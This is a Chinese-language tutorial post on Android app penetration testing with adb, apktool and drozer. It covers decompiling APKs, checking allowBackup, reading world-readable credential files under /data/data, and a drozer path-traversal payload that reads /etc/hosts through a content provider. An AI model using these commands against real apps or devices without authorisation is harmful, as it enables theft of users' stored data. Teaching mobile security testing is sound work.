1. 程式人生 > 其它 >安卓APP反編譯備份攻擊

安卓APP反編譯備份攻擊

環境:

夜神模擬器

工具:

Adb

Apktool

過程:

adb檢視連結的安卓裝置

1、使用命令adb devices檢視當前連結的裝置

 

使用命令adb kill-server殺死已連線裝置,再使用adb start-server重啟裝置

2、使用adb shell pm list packages列出所有的apk

 使用adb shell進入裝置系統,用命令dumpsys meminfo檢視所有應用程式及其當前記憶體佔用的列表

3、使用adb logcat -d -f /data/local/logcats.loglogcat存放在/data/local/目錄下,在adb shell下進入

/data/local/目錄,檢視logcat

 

 使用 df 命令檢查檔案系統以及可用空間和大小

4、使用apktoolapk檔案進行反編譯,使用命令apktool d [apkname].apk,將apk檔案反編譯

 

相反,使用命令apktool b [folder name] [target-apkname].apk可將反編譯後的檔案重新編譯成想要命名的apk檔案

5、在反編譯完成的檔案中,檢視定義它們的 AndroidManifest.xml 檔案,android:allowbackup處值為true,說明存在可備份漏洞,可使用adb backupadb restore來進行資料備份和恢復。

可用drozer檢查sql注入等類似問題

6、訪問 adb shell ,之後使用 cd 進入 /data/data/[package name of the app] 。我們在這裡執行 ls -l ,就可以看到檔案和資料夾的檔案許可權:

# ls -l /data/data/com.aditya.example/files/userinfo.xml

-rw-rw-rw- app_200 app_200 22034 2013-11-07 00:01 userinfo.xml

這裡我們可以使用 find 來搜尋許可權。

find /data/data/ -perm [permissions value]

如果我們執行 cat userinfo.xml

,它儲存了應用的使用者的使用者名稱和密碼。就說明存在不安全的儲存漏洞。

 此處無userinfo.xml,所以只做演示。

7、使用命令run app.provider.finduri com.android.insecurebankv2查詢apk的所有內容供應器

 使用 app.provider.read 搜尋並利用本地檔案包含漏洞,嘗試從系統中讀取一些檔案,如 /etc/hosts /proc/cpuinfo

dz> run app.provider.read content://com.adobe.reader.fileprovider/../../../../etc/hosts

 此處只做演示。